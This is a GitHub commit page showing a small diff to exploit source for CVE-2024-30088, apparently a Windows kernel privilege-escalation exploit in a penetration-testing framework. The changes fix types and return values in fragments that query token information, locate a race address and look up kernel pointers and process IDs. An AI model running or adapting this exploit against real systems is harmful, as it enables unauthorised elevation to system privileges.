Skip to content

Commit b011b67

Browse files
committed
Responded to comments
1 parent b322343 commit b011b67

File tree

4 files changed

+7
-8
lines changed

4 files changed

+7
-8
lines changed
1.5 KB
Binary file not shown.

external/source/exploits/CVE-2024-30088/CVE-2024-30088/dllmain.c

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
33

44
#include "ReflectiveLoader.c"
5-
#include <common.h>
65
#include <stdio.h>
76

87

external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.c

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@ HANDLE hToken;
5454
BYTE* TokenInfo = 0;
5555
DWORD Infolen = 0x1000;
5656
DWORD retlen = 0;
57-
DWORD OffsetToName = 0;
57+
INT64 OffsetToName = 0;
5858
BYTE* RaceAddr = 0;
5959
ULONGLONG kTokenAddr = 0;
6060

@@ -75,7 +75,7 @@ HANDLE exploit() {
7575

7676
TokenInfo = (BYTE*)VirtualAlloc(0, Infolen, MEM_COMMIT, PAGE_READWRITE);
7777
if (!TokenInfo)
78-
return -1;
78+
return INVALID_HANDLE_VALUE;
7979

8080
NTSTATUS status = pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);
8181

@@ -92,7 +92,7 @@ HANDLE exploit() {
9292
}
9393

9494
if (!OffsetToName)
95-
return -1;
95+
return INVALID_HANDLE_VALUE;
9696

9797

9898
RaceAddr = TokenInfo + OffsetToName;

external/source/exploits/CVE-2024-30088/CVE-2024-30088/exploit.h

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111
typedef struct _SYSTEM_HANDLE
1212
{
1313
PVOID Object;
14-
HANDLE UniqueProcessId;
14+
DWORD UniqueProcessId;
1515
HANDLE HandleValue;
1616
ULONG GrantedAccess;
1717
USHORT CreatorBackTraceIndex;
@@ -63,17 +63,17 @@ PVOID GetKernelPointerByHandle(HANDLE HandleValue)
6363
for (int i = 0; i < pHandleInfo->HandleCount; i++) {
6464
PVOID object = pHandleInfo->Handles[i].Object;
6565
HANDLE handle = pHandleInfo->Handles[i].HandleValue;
66-
HANDLE pid = pHandleInfo->Handles[i].UniqueProcessId;
66+
DWORD pid = pHandleInfo->Handles[i].UniqueProcessId;
6767

68-
if ((DWORD)pid == CurrentPid && handle == HandleValue) {
68+
if (pid == CurrentPid && handle == HandleValue) {
6969
return object;
7070
}
7171

7272
}
7373
return 0;
7474
}
7575

76-
ULONG GetPidByName(const wchar_t* procname) {
76+
ULONG GetPidByName(const char* procname) {
7777
PROCESSENTRY32 entry;
7878
entry.dwSize = sizeof(PROCESSENTRY32);
7979
ULONG pid;

0 commit comments

Comments
 (0)